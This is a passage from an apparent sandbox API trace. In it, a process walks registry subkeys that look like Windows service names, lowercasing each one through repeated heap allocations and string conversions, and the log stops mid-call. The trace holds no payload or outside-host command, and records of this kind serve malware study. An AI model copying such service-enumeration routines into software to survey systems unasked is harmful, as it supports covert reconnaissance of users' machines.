lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0215.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1b68, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0215.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.924] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0215.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0215.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1bf8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0215.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.924] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0215.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0215.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1b68, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0215.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.924] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0215.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0215.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1bf8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0215.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.925] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.925] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0215.925] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0215.925] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1b68, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0215.925] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.925] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.925] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.925] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.925] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0215.925] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0215.925] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0215.925] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.925] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.925] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.925] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.925] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0215.925] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0215.925] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0215.925] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.925] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.925] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.925] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.925] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0215.925] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0215.925] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0215.926] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.926] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.926] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.926] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.926] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0215.926] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0215.926] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1b68, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0215.926] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.926] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.926] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.926] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.926] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0215.926] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0215.926] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0215.926] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.926] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.926] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.926] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.926] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0215.926] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0215.926] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0215.926] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.926] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.926] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.926] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.927] RegEnumKeyW (in: hKey=0x148, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0215.927] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0215.927] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0215.927] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.927] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.927] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.927] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.927] RegEnumKeyW (in: hKey=0x148, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0215.927] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0215.927] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0215.927] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.927] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.927] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.927] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.927] RegEnumKeyW (in: hKey=0x148, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0215.927] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0215.927] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1bf8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0215.927] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.927] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.927] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.927] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.927] RegEnumKeyW (in: hKey=0x148, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0215.927] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0215.927] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0215.928] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.928] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.928] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.928] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.928] RegEnumKeyW (in: hKey=0x148, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0215.928] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0215.928] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0215.928] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.928] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.928] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.928] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.928] RegEnumKeyW (in: hKey=0x148, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0215.928] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0215.928] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0215.928] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.928] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.928] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.928] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.928] RegEnumKeyW (in: hKey=0x148, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0215.928] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0215.928] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0215.928] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.928] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.928] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.928] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.928] RegEnumKeyW (in: hKey=0x148, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0215.929] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0215.929] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0215.929] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.929] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.929] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.929] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.929] RegEnumKeyW (in: hKey=0x148, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0215.929] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0215.929] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0215.929] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.929] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.929] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.929] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.929] RegEnumKeyW (in: hKey=0x148, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0215.929] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0215.929] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.929] WideCharToMultiByte (in: 